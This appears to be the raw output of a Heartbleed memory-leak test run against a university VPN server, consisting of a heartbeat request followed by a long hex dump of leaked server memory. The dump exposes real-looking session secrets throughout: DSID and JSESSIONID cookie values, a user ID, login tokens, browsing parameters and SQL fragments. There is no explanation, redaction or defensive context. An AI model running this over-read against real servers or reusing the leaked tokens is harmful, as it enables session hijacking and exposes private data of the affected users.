Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 86
... received message: type = 22, ver = 0302, length = 2379
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 73 69 6F 6E ....#.......sion
00e0: 3D 31 0D 0A 0D 0A D4 2F FB 16 BA BF EA BC C1 D6 =1...../........
00f0: EB D3 8F F9 17 F5 F2 A3 8E 51 61 6E 61 49 6E 66 .........QanaInf
0100: 6F 3D 6A 77 78 74 2E 62 6A 66 75 2E 65 64 75 2E o=jwxt.bjfu.edu.
0110: 63 6E 2B 53 74 75 64 65 6E 74 45 6C 65 63 74 69 cn+StudentElecti
0120: 76 65 41 41 2E 61 73 70 0D 0A 41 63 63 65 70 74 veAA.asp..Accept
0130: 2D 4C 61 6E 67 75 61 67 65 3A 20 7A 68 2D 43 4E -Language: zh-CN
0140: 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo
0150: 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 zilla/4.0 (compa
0160: 74 69 62 6C 65 3B 20 4D 53 49 45 20 37 2E 30 3B tible; MSIE 7.0;
0170: 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B Windows NT 6.1;
0180: 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 53 4C Trident/7.0; SL
0190: 43 43 32 3B 20 2E 4E 45 54 20 43 4C 52 20 32 2E CC2; .NET CLR 2.
01a0: 30 2E 35 30 37 32 37 3B 20 2E 4E 45 54 20 43 4C 0.50727; .NET CL
01b0: 52 20 33 2E 35 2E 33 30 37 32 39 3B 20 2E 4E 45 R 3.5.30729; .NE
01c0: 54 20 43 4C 52 20 33 2E 30 2E 33 30 37 32 39 3B T CLR 3.0.30729;
01d0: 20 43 4D 4E 54 44 46 4A 53 3B 20 4D 65 64 69 61 CMNTDFJS; Media
01e0: 20 43 65 6E 74 65 72 20 50 43 20 36 2E 30 3B 20 Center PC 6.0;
01f0: 2E 4E 45 54 34 2E 30 43 3B 20 2E 4E 45 54 34 2E .NET4.0C; .NET4.
0200: 30 45 3B 20 42 52 49 2F 32 29 0D 0A 43 6F 6E 74 0E; BRI/2)..Cont
0210: 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 ent-Type: applic
0220: 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F 72 6D ation/x-www-form
0230: 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 41 63 63 -urlencoded..Acc
0240: 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A ept-Encoding: gz
0250: 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 ip, deflate..Hos
0260: 74 3A 20 76 70 6E 2E 62 6A 66 75 2E 65 64 75 2E t: vpn.bjfu.edu.
0270: 63 6E 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 cn..Content-Leng
0280: 74 68 3A 20 37 36 0D 0A 44 4E 54 3A 20 31 0D 0A th: 76..DNT: 1..
0290: 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 Connection: Keep
02a0: 2D 41 6C 69 76 65 0D 0A 43 61 63 68 65 2D 43 6F -Alive..Cache-Co
02b0: 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 63 68 65 0D ntrol: no-cache.
02c0: 0A 43 6F 6F 6B 69 65 3A 20 44 53 53 69 67 6E 49 .Cookie: DSSignI
02d0: 6E 55 52 4C 3D 2F 3B 20 44 53 46 69 72 73 74 41 nURL=/; DSFirstA
02e0: 63 63 65 73 73 3D 31 34 32 36 37 35 35 33 30 39 ccess=1426755309
02f0: 3B 20 44 53 4C 61 73 74 41 63 63 65 73 73 3D 31 ; DSLastAccess=1
0300: 34 32 36 37 35 36 31 35 33 3B 20 44 53 4C 61 75 426756153; DSLau
0310: 6E 63 68 55 52 4C 3D 32 46 36 41 37 37 37 38 37 nchURL=2F6A77787
0320: 34 32 46 35 33 37 34 37 35 36 34 36 35 36 45 37 42F53747564656E7
0330: 34 32 46 32 43 34 34 36 31 36 45 36 31 34 39 36 42F2C44616E61496
0340: 45 36 36 36 46 33 44 36 41 37 37 37 38 37 34 32 E666F3D6A7778742
0350: 45 36 32 36 41 36 36 37 35 32 45 36 35 36 34 37 E626A66752E65647
0360: 35 32 45 36 33 36 45 32 42 35 33 37 34 37 35 36 52E636E2B5374756
0370: 34 36 35 36 45 37 34 34 35 36 43 36 35 36 33 37 4656E74456C65637
0380: 34 36 39 37 36 36 35 34 31 34 31 32 45 36 31 37 469766541412E617
0390: 33 37 30 3B 20 44 53 49 44 3D 65 31 37 34 39 61 370; DSID=e1749a
03a0: 34 38 31 39 33 61 65 33 36 32 63 38 35 31 33 30 48193ae362c85130
03b0: 36 32 33 66 34 39 39 38 33 66 0D 0A 0D 0A 21 E6 623f49983f....!.
03c0: 30 0C C8 A8 3E 06 22 A1 29 6B B2 5A 51 7C 03 6E 0...>.".)k.ZQ|.n
03d0: 2A 0A BE 3B EA 1D 12 3F 72 75 65 25 32 43 25 32 *..;...?rue%2C%2
03e0: 32 73 53 65 61 72 63 68 25 32 32 25 33 41 25 32 2sSearch%22%3A%2
03f0: 32 25 32 32 25 32 43 25 32 32 62 52 65 67 65 78 2%22%2C%22bRegex
0400: 25 32 32 25 33 41 66 61 6C 73 65 25 32 43 25 32 %22%3Afalse%2C%2
0410: 32 62 53 6D 61 72 74 25 32 32 25 33 41 74 72 75 2bSmart%22%3Atru
0420: 65 25 37 44 25 32 43 25 37 42 25 32 32 62 43 61 e%7D%2C%7B%22bCa
0430: 73 65 49 6E 73 65 6E 73 69 74 69 76 65 25 32 32 seInsensitive%22
0440: 25 33 41 74 72 75 65 25 32 43 25 32 32 73 53 65 %3Atrue%2C%22sSe
0450: 61 72 63 68 25 32 32 25 33 41 25 32 32 25 32 32 arch%22%3A%22%22
0460: 25 32 43 25 32 32 62 52 65 67 65 78 25 32 32 25 %2C%22bRegex%22%
0470: 33 41 66 61 6C 73 65 25 32 43 25 32 32 62 53 6D 3Afalse%2C%22bSm
0480: 61 72 74 25 32 32 25 33 41 74 72 75 65 25 37 44 art%22%3Atrue%7D
0490: 25 32 43 25 37 42 25 32 32 62 43 61 73 65 49 6E %2C%7B%22bCaseIn
04a0: 73 65 6E 73 69 74 69 76 65 25 32 32 25 33 41 74 sensitive%22%3At
04b0: 72 75 65 25 32 43 25 32 32 73 53 65 61 72 63 68 rue%2C%22sSearch
04c0: 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 %22%3A%22%22%2C%
04d0: 32 32 62 52 65 67 65 78 25 32 32 25 33 41 66 61 22bRegex%22%3Afa
04e0: 6C 73 65 25 32 43 25 32 32 62 53 6D 61 72 74 25 lse%2C%22bSmart%
04f0: 32 32 25 33 41 74 72 75 65 25 37 44 25 35 44 25 22%3Atrue%7D%5D%
0500: 32 43 25 32 32 61 62 56 69 73 43 6F 6C 73 25 32 2C%22abVisCols%2
0510: 32 25 33 41 25 35 42 74 72 75 65 25 32 43 74 72 2%3A%5Btrue%2Ctr
0520: 75 65 25 32 43 74 72 75 65 25 32 43 74 72 75 65 ue%2Ctrue%2Ctrue
0530: 25 35 44 25 37 44 3B 20 6C 61 73 74 4F 70 65 72 %5D%7D; lastOper
0540: 61 3D 70 6F 70 65 64 6F 6D 5F 38 31 39 32 3B 20 a=popedom_8192;
0550: 4A 53 45 53 53 49 4F 4E 49 44 3D 45 42 35 43 30 JSESSIONID=EB5C0
0560: 31 38 45 30 34 37 42 43 39 32 34 32 39 43 31 45 18E047BC92429C1E
0570: 42 36 44 36 44 43 31 42 45 43 45 3B 20 75 73 65 B6D6DC1BECE; use
0580: 72 69 64 3D 64 65 6E 67 3B 20 75 73 65 72 74 79 rid=deng; userty
0590: 70 65 3D 3B 20 41 4A 53 54 41 54 5F 6F 6B 5F 74 pe=; AJSTAT_ok_t
05a0: 69 6D 65 73 3D 35 39 0D 0A 0D 0A 70 72 6F 64 75 imes=59....produ
05b0: 63 74 63 6F 64 65 3D 26 70 61 67 65 3D 61 73 73 ctcode=&page=ass
05c0: 65 74 73 2E 6D 69 6E 65 2E 69 6E 64 65 78 26 77 ets.mine.index&w
05d0: 69 6E 64 6F 77 3D 6A 73 6F 6E 26 74 3D 30 2E 30 indow=json&t=0.0
05e0: 33 39 39 37 32 37 39 30 39 38 32 35 37 34 32 32 3997279098257422
05f0: 34 26 72 65 71 75 65 73 74 5F 6D 65 74 68 6F 64 4&request_method
0600: 3D 61 6A 61 78 26 62 72 6F 77 73 65 72 2E 76 65 =ajax&browser.ve
0610: 72 73 69 6F 6E 3D 35 33 37 2E 33 36 26 62 72 6F rsion=537.36&bro
0620: 77 73 65 72 3D 6E 6F 74 6D 73 69 65 51 8D 52 47 wser=notmsieQ.RG
0630: DA B3 20 CF AE 9C 5A A3 0D 7E 95 CF D0 DE 2E 75 .. ...Z..~.....u
0640: 10 D5 15 32 31 43 4A 46 51 25 32 31 43 4A 46 44 ...21CJFQ%21CJFD
0650: 32 30 31 31 25 37 43 47 4C 53 4A 32 30 30 39 30 2011%7CGLSJ20090
0660: 37 30 31 35 25 32 31 43 4A 46 51 25 32 31 43 4A 7015%21CJFQ%21CJ
0670: 46 44 32 30 30 39 25 37 43 43 4D 4A 4A 32 30 30 FD2009%7CCMJJ200
0680: 39 30 36 30 32 35 25 32 31 43 4A 46 51 25 32 31 906025%21CJFQ%21
0690: 43 4A 46 44 32 30 30 39 25 37 43 53 58 4B 4A 32 CJFD2009%7CSXKJ2
06a0: 30 31 34 30 36 30 32 35 25 32 31 43 4A 46 51 25 01406025%21CJFQ%
06b0: 32 31 43 4A 46 44 4C 41 53 54 32 30 31 34 25 37 21CJFDLAST2014%7
06c0: 43 58 58 42 4C 32 30 31 34 32 31 30 34 37 25 32 CXXBL201421047%2
06d0: 31 43 4A 46 51 25 32 31 43 4A 46 44 4C 41 53 54 1CJFQ%21CJFDLAST
06e0: 32 30 31 35 25 37 43 44 4C 48 58 32 30 31 34 30 2015%7CDLHX20140
06f0: 36 30 31 30 25 32 31 43 4A 46 51 25 32 31 43 4A 6010%21CJFQ%21CJ
0700: 46 44 4C 41 53 54 32 30 31 35 25 37 43 59 4A 53 FDLAST2015%7CYJS
0710: 43 32 30 31 34 31 32 30 31 34 25 32 31 43 4A 46 C201412014%21CJF
0720: 51 25 32 31 43 4A 46 44 54 45 4D 50 25 37 43 48 Q%21CJFDTEMP%7CH
0730: 42 51 59 32 30 31 35 30 31 30 33 31 25 32 31 43 BQY201501031%21C
0740: 4A 46 51 25 32 31 43 4A 46 44 54 45 4D 50 25 37 JFQ%21CJFDTEMP%7
0750: 43 44 41 4A 4A 32 30 31 35 30 32 30 31 34 25 32 CDAJJ201502014%2
0760: 31 43 4A 46 51 25 32 31 43 4A 46 44 50 52 45 50 1CJFQ%21CJFDPREP
0770: 25 37 43 4C 4B 47 50 32 30 31 35 30 31 30 31 30 %7CLKGP201501010
0780: 25 32 31 43 4A 46 51 25 32 31 43 4A 46 44 54 45 %21CJFQ%21CJFDTE
0790: 4D 50 25 37 43 53 44 53 41 32 30 31 35 30 31 30 MP%7CSDSA2015010
07a0: 30 35 25 32 31 43 4A 46 51 25 32 31 43 4A 46 44 05%21CJFQ%21CJFD
07b0: 50 52 45 50 25 37 43 48 46 47 53 32 30 31 35 30 PREP%7CHFGS20150
07c0: 31 30 30 31 25 32 31 43 4A 46 51 25 32 31 43 4A 1001%21CJFQ%21CJ
07d0: 46 44 54 45 4D 50 25 37 43 42 4A 53 42 32 30 31 FDTEMP%7CBJSB201
07e0: 35 30 32 30 31 35 25 32 31 43 4A 46 51 25 32 31 502015%21CJFQ%21
07f0: 43 4A 46 44 54 45 4D 50 25 37 43 47 4C 5A 4A 32 CJFDTEMP%7CGLZJ2
0800: 30 31 34 33 35 32 38 39 25 32 31 43 4A 46 51 25 01435289%21CJFQ%
0810: 32 31 43 4A 46 44 54 45 4D 50 25 37 43 47 46 47 21CJFDTEMP%7CGFG
0820: 42 32 30 31 34 30 36 30 32 37 25 32 31 43 4A 46 B201406027%21CJF
0830: 51 25 32 31 43 4A 46 44 50 52 45 50 25 37 43 3B Q%21CJFDPREP%7C;
0840: 20 63 5F 6D 5F 4C 69 6E 49 44 3D 4C 69 6E 49 44 c_m_LinID=LinID
0850: 3D 57 45 45 76 52 45 63 77 53 6C 4A 48 53 6C 64 =WEEvREcwSlJHSld
0860: 54 54 47 4A 68 59 6C 4A 51 63 58 6C 4E 64 45 6C TTGJhYlJQcXlNdEl
0870: 4C 53 31 52 79 56 57 70 4D 57 6B 70 44 53 48 64 LS1RyVWpMWkpDSHd
0880: 5A 4D 6D 5A 48 62 32 74 73 51 31 56 70 51 54 67 ZMmZHb2tsQ1VpQTg
0890: 72 51 6E 68 6C 57 47 56 45 4B 7A 4D 78 64 30 4E rQnhlWGVEKzMxd0N
08a0: 4E 54 55 59 31 55 6B 5A 58 59 7A 30 3D 24 39 41 NTUY1UkZXYz0=$9A
08b0: 34 68 46 5F 59 41 75 76 51 35 6F 62 67 56 41 71 4hF_YAuvQ5obgVAq
08c0: 4E 4B 50 43 59 63 45 6A 4B 65 6E 73 57 34 49 51 NKPCYcEjKensW4IQ
08d0: 4D 6F 76 77 48 74 77 6B 46 34 56 59 50 6F 48 62 MovwHtwkF4VYPoHb
08e0: 4B 78 4A 77 21 21 26 6F 74 3D 30 33 2F 31 39 2F KxJw!!&ot=03/19/
08f0: 32 30 31 35 20 31 37 3A 30 38 3A 32 32 0D 0A 0D 2015 17:08:22...
0900: 0A BB AC 88 BD 81 3D 6E 73 D9 75 6A 07 89 9B 1D ......=ns.uj....
0910: 5C 36 A3 44 87 74 3D 30 33 2F 31 39 2F 32 30 31 \6.D.t=03/19/201
0920: 35 20 31 37 3A 30 35 3A 35 30 0D 0A 0D 0A 78 14 5 17:05:50....x.
0930: 31 44 CD 24 CB 3C CA C6 4F 6A FA 45 F9 33 10 56 1D.$.<..Oj.E.3.V
0940: 60 59 33 34 25 75 36 44 46 39 25 75 35 42 46 39 `Y34%u6DF9%u5BF9
0950: 25 75 35 31 34 42 25 75 39 36 38 36 25 75 36 39 %u514B%u9686%u69
0960: 30 44 25 75 37 32 36 39 25 75 37 41 37 41 25 75 0D%u7269%u7A7A%u
0970: 35 46 43 33 25 75 38 33 42 32 25 75 35 42 35 30 5FC3%u83B2%u5B50
0980: 25 75 38 33 34 39 25 75 37 39 43 44 25 75 35 31 %u8349%u79CD%u51
0990: 38 35 25 75 35 31 37 33 25 75 37 43 46 42 25 75 85%u5173%u7CFB%u
09a0: 37 36 38 34 25 75 35 46 37 31 25 75 35 34 43 44 7684%u5F71%u54CD
09b0: 25 32 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 %21cjfq%21cjfd20
09c0: 31 31 25 32 31 7A 77 73 62 32 30 31 31 30 39 30 11%21zwsb2011090
09d0: 31 30 25 37 43 3B 20 55 73 65 72 44 6F 77 6E 4C 10%7C; UserDownL
09e0: 6F 61 64 73 4B 63 6D 73 3D 25 75 35 37 33 30 25 oadsKcms=%u5730%
09f0: 75 38 38 36 38 25 75 37 30 36 42 25 75 35 45 37 u8868%u706B%u5E7
0a00: 32 25 75 36 32 37 30 25 75 36 35 46 36 25 75 39 2%u6270%u65F6%u9
0a10: 35 46 34 25 75 35 45 38 46 25 75 35 32 31 37 25 5F4%u5E8F%u5217%
0a20: 75 34 45 30 41 25 75 36 41 31 46 25 75 35 42 35 u4E0A%u6A1F%u5B5
0a30: 30 25 75 36 37 37 45 25 75 36 37 39 37 25 75 37 0%u677E%u6797%u7
0a40: 41 44 45 25 75 34 45 38 39 25 75 35 46 33 41 25 ADE%u4E89%u5F3A%
0a50: 75 35 45 41 36 25 75 37 36 38 34 25 75 35 33 44 u5EA6%u7684%u53D
0a60: 38 25 75 35 33 31 36 25 32 31 63 6A 66 71 25 32 8%u5316%21cjfq%2
0a70: 31 63 6A 66 64 32 30 31 30 25 32 31 73 74 78 62 1cjfd2010%21stxb
0a80: 32 30 31 30 30 31 30 30 39 25 37 43 25 75 35 39 201001009%7C%u59
0a90: 32 41 25 75 37 36 37 44 25 75 37 45 41 32 25 75 2A%u767D%u7EA2%u
0aa0: 36 37 34 39 25 75 37 39 43 44 25 75 35 31 38 35 6749%u79CD%u5185
0ab0: 25 75 35 34 38 43 25 75 37 39 43 44 25 75 39 35 %u548C%u79CD%u95
0ac0: 46 34 25 75 37 41 44 45 25 75 34 45 38 39 25 75 F4%u7ADE%u4E89%u
0ad0: 37 38 31 34 25 75 37 41 37 36 25 32 31 63 6A 66 7814%u7A76%21cjf
0ae0: 71 25 32 31 63 6A 66 64 32 30 30 35 25 32 31 7A q%21cjfd2005%21z
0af0: 77 73 62 32 30 30 35 30 32 30 30 39 25 37 43 25 wsb200502009%7C%
0b00: 75 35 31 34 42 25 75 39 36 38 36 25 75 36 39 30 u514B%u9686%u690
0b10: 44 25 75 37 32 36 39 25 75 35 42 46 39 25 75 37 D%u7269%u5BF9%u7
0b20: 39 43 44 25 75 39 35 46 34 25 75 37 41 44 45 25 9CD%u95F4%u7ADE%
0b30: 75 34 45 38 39 25 75 37 36 38 34 25 75 39 30 30 u4E89%u7684%u900
0b40: 32 25 75 35 45 39 34 25 75 37 42 35 36 25 75 37 2%u5E94%u7B56%u7
0b50: 35 36 35 25 32 31 63 6A 66 71 25 32 31 63 6A 66 565%21cjfq%21cjf
0b60: 64 32 30 31 32 25 32 31 7A 77 73 62 32 30 31 32 d2012%21zwsb2012
0b70: 30 36 30 31 35 25 37 43 25 75 36 35 42 44 25 75 06015%7C%u65BD%u
0b80: 38 30 41 35 25 75 35 34 38 43 25 75 35 32 30 38 80A5%u548C%u5208
0b90: 25 75 35 32 37 32 25 75 35 42 46 39 25 75 36 39 %u5272%u5BF9%u69
0ba0: 30 44 25 75 37 32 36 39 25 75 37 46 41 34 25 75 0D%u7269%u7FA4%u
0bb0: 38 34 33 44 25 75 37 39 43 44 25 75 39 35 46 34 843D%u79CD%u95F4
0bc0: 25 75 35 31 37 33 25 75 37 43 46 42 25 75 37 36 %u5173%u7CFB%u76
0bd0: 38 34 25 75 35 46 37 31 25 75 35 34 43 44 25 32 84%u5F71%u54CD%2
0be0: 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 31 30 1cjfq%21cjfd2010
0bf0: 25 32 31 6C 64 7A 6B 32 30 31 30 73 31 30 30 33 %21ldzk2010s1003
0c00: 25 37 43 25 75 36 43 33 34 25 75 36 44 46 39 25 %7C%u6C34%u6DF9%
0c10: 75 35 42 46 39 25 75 35 31 34 42 25 75 39 36 38 u5BF9%u514B%u968
0c20: 36 25 75 36 39 30 44 25 75 37 32 36 39 25 75 37 6%u690D%u7269%u7
0c30: 41 37 41 25 75 35 46 43 33 25 75 38 33 42 32 25 A7A%u5FC3%u83B2%
0c40: 75 35 42 35 30 25 75 38 33 34 39 25 75 37 39 43 u5B50%u8349%u79C
0c50: 44 25 75 35 31 38 35 25 75 35 31 37 33 25 75 37 D%u5185%u5173%u7
0c60: 43 46 42 25 75 37 36 38 34 25 75 35 46 37 31 25 CFB%u7684%u5F71%
0c70: 75 35 34 43 44 25 32 31 63 6A 66 71 25 32 31 63 u54CD%21cjfq%21c
0c80: 6A 66 64 32 30 31 31 25 32 31 7A 77 73 62 32 30 jfd2011%21zwsb20
0c90: 31 31 30 39 30 31 30 25 37 43 0D 0A 0D 0A DC 43 1109010%7C.....C
0ca0: 42 21 60 EA 5A 32 DC 5B 75 39 3F 2B 02 0A A4 36 B!`.Z2.[u9?+...6
0cb0: 15 51 45 31 41 25 75 34 45 30 45 25 75 35 33 33 .QE1A%u4E0E%u533
0cc0: 41 25 75 35 37 44 46 25 75 37 45 43 46 25 75 36 A%u57DF%u7ECF%u6
0cd0: 44 34 45 25 75 35 33 44 31 25 75 35 43 35 35 25 D4E%u53D1%u5C55%
0ce0: 75 35 31 37 33 25 75 37 43 46 42 25 75 37 38 31 u5173%u7CFB%u781
0cf0: 34 25 75 37 41 37 36 25 32 31 63 6D 66 64 25 32 4%u7A76%21cmfd%2
0d00: 31 63 6D 66 64 32 30 31 33 30 32 25 32 31 31 30 1cmfd201302%2110
0d10: 31 33 32 35 38 33 31 38 2E 6E 68 25 37 43 25 75 13258318.nh%7C%u
0d20: 35 33 33 41 25 75 35 37 44 46 25 75 37 33 41 46 533A%u57DF%u73AF
0d30: 25 75 35 38 38 33 25 75 38 39 43 36 25 75 38 39 %u5883%u89C6%u89
0d40: 44 32 25 75 34 45 30 42 25 75 37 36 38 34 25 75 D2%u4E0B%u7684%u
0d50: 35 33 33 41 25 75 35 37 44 46 25 75 37 45 43 46 533A%u57DF%u7ECF
0d60: 25 75 36 44 34 45 25 75 35 33 44 31 25 75 35 43 %u6D4E%u53D1%u5C
0d70: 35 35 25 75 36 41 32 31 25 75 35 46 30 46 25 75 55%u6A21%u5F0F%u
0d80: 37 38 31 34 25 75 37 41 37 36 25 75 32 30 31 34 7814%u7A76%u2014
0d90: 25 75 32 30 31 34 25 75 35 37 46 41 25 75 34 45 %u2014%u57FA%u4E
0da0: 38 45 25 75 35 43 37 31 25 75 34 45 31 43 25 75 8E%u5C71%u4E1C%u
0db0: 37 37 30 31 25 75 36 35 37 30 25 75 36 33 36 45 7701%u6570%u636E
0dc0: 25 75 37 36 38 34 25 75 35 42 39 45 25 75 38 42 %u7684%u5B9E%u8B
0dd0: 43 31 25 75 35 32 30 36 25 75 36 37 39 30 25 32 C1%u5206%u6790%2
0de0: 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 31 31 1cjfq%21cjfd2011
0df0: 25 32 31 67 67 79 79 32 30 31 31 30 38 30 30 35 %21ggyy201108005
0e00: 25 37 43 25 75 36 45 32 46 25 75 35 33 45 33 25 %7C%u6E2F%u53E3%
0e10: 75 37 32 36 39 25 75 36 44 34 31 25 75 34 45 30 u7269%u6D41%u4E0
0e20: 45 25 75 38 31 37 39 25 75 35 37 33 30 25 75 35 E%u8179%u5730%u5
0e30: 33 33 41 25 75 35 37 44 46 25 75 37 45 43 46 25 33A%u57DF%u7ECF%
0e40: 75 36 44 34 45 25 75 37 36 46 38 25 75 35 31 37 u6D4E%u76F8%u517
0e50: 33 25 75 36 30 32 37 25 75 36 44 34 42 25 75 35 3%u6027%u6D4B%u5
0e60: 45 41 36 25 75 37 38 31 34 25 75 37 41 37 36 25 EA6%u7814%u7A76%
0e70: 32 31 63 6D 66 64 25 32 31 63 6D 66 64 32 30 31 21cmfd%21cmfd201
0e80: 30 25 32 31 32 30 31 30 31 36 33 37 30 39 2E 6E 0%212010163709.n
0e90: 68 25 37 43 0D 0A 0D 0A 9E BA 5D E0 B7 7B 6C C1 h%7C......]..{l.
0ea0: 99 C6 A3 55 2C 1C 7C 22 3C 23 FE 8D 6C 20 62 61 ...U,.|"<#..l ba
0eb0: 63 6B 73 74 6F 63 6B 5F 74 79 70 65 0A 20 20 46 ckstock_type. F
0ec0: 52 4F 4D 20 45 51 55 49 50 4D 45 4E 54 5F 73 63 ROM EQUIPMENT_sc
0ed0: 72 61 70 20 45 43 0A 20 20 4C 45 46 54 20 4A 4F rap EC. LEFT JO
0ee0: 49 4E 20 42 41 53 45 5F 54 45 41 43 48 45 52 20 IN BASE_TEACHER
0ef0: 42 54 31 0A 20 20 20 20 4F 4E 20 45 43 2E 42 41 BT1. ON EC.BA
0f00: 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F 5F 72 65 SE_TEACHER_NO_re
0f10: 71 75 65 73 74 20 3D 20 42 54 31 2E 4E 4F 0A 20 quest = BT1.NO.
0f20: 20 4C 45 46 54 20 4A 4F 49 4E 20 28 53 45 4C 45 LEFT JOIN (SELE
0f30: 43 54 20 73 75 6D 28 63 61 73 65 0A 20 20 20 20 CT sum(case.
0f40: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0f50: 20 20 20 20 20 20 20 20 77 68 65 6E 20 28 45 FF when (E.
0f60: 43 4C 2E 53 54 41 54 45 20 49 53 20 20 4E 55 4C CL.STATE IS NUL
0f70: 4C 20 4F 52 20 45 43 4C 2E 53 54 41 54 45 20 21 L OR ECL.STATE !
0f80: 3D 20 2D 31 29 20 61 6E 64 20 6E 76 6C 28 65 63 = -1) and nvl(ec
0f90: 6C 2E 72 65 74 72 69 65 76 65 5F 73 74 61 74 65 l.retrieve_state
0fa0: 2C 31 29 21 3D 30 20 74 68 65 6E 0A 20 20 20 20 ,1)!=0 then.
0fb0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0fc0: 20 20 20 20 20 20 20 20 20 31 0A 20 20 20 20 20 1.
0fd0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0fe0: 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 else.
0ff0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1000: 20 20 20 20 20 20 20 20 20 30 0A 20 20 20 20 20 0.
1010: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1020: 20 20 20 20 20 65 6E 64 29 20 41 53 20 4E 55 4D end) AS NUM
1030: 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ,.
1040: 20 20 20 20 20 20 45 43 4C 2E 45 51 55 49 50 4D ECL.EQUIPM
1050: 45 4E 54 5F 73 63 72 61 70 5F 49 44 2C 0A 20 FF ENT_scrap_ID,. .
1060: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1070: 20 20 20 4D 49 4E 28 65 71 75 2E 42 41 53 45 5F MIN(equ.BASE_
1080: 44 45 50 5F 43 4F 44 45 29 20 41 53 20 42 41 53 DEP_CODE) AS BAS
1090: 45 5F 44 45 50 5F 43 4F 44 45 2C 0A 20 20 20 20 E_DEP_CODE,.
10a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
10b0: 53 55 4D 28 63 61 73 65 0A 20 20 20 20 20 20 20 SUM(case.
10c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
10d0: 20 20 20 77 68 65 6E 20 28 45 43 4C 2E 53 54 41 when (ECL.STA
10e0: 54 45 20 49 53 20 20 4E 55 4C 4C 20 4F 52 20 45 TE IS NULL OR E
10f0: 43 4C 2E 53 54 41 54 45 20 21 3D 20 2D 31 29 20 CL.STATE != -1)
1100: 61 6E 64 20 6E 76 6C 28 65 63 6C 2E 72 65 74 72 and nvl(ecl.retr
1110: 69 65 76 65 5F 73 74 61 74 65 2C 31 29 20 21 3D ieve_state,1) !=
1120: 30 20 74 68 65 6E 20 65 71 75 2E 50 52 49 43 45 0 then equ.PRICE
1130: 20 2B 20 6E 76 6C 28 65 71 75 2E 61 74 74 61 63 + nvl(equ.attac
1140: 68 5F 70 72 69 63 65 2C 20 30 29 0A 20 20 20 20 h_price, 0).
1150: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 FF .
1160: 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 else.
1170: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1180: 20 20 20 20 20 20 20 30 0A 20 20 20 20 20 20 20 0.
1190: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
11a0: 20 65 6E 64 29 20 41 53 20 45 51 55 49 50 4D 45 end) AS EQUIPME
11b0: 4E 54 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 20 NT_MONEY,.
11c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6D 61 ma
11d0: 78 28 65 71 75 2E 50 52 49 43 45 20 2B 20 6E 76 x(equ.PRICE + nv
11e0: 6C 28 65 71 75 2E 61 74 74 61 63 68 5F 70 72 69 l(equ.attach_pri
11f0: 63 65 2C 20 30 29 29 20 41 53 20 45 51 55 49 50 ce, 0)) AS EQUIP
1200: 4D 45 4E 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 0A MENT_MAX_MONEY,.
1210: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1220: 20 20 20 20 6D 69 6E 28 65 71 75 2E 63 6F 64 65 min(equ.code
1230: 20 7C 7C 20 27 2D 27 20 7C 7C 20 65 71 75 2E 6E || '-' || equ.n
1240: 61 6D 65 29 20 61 73 20 73 75 62 0A 20 20 20 20 ame) as sub.
1250: 20 20 20 20 20 20 20 20 20 20 20 46 52 4F 4D FF FROM.
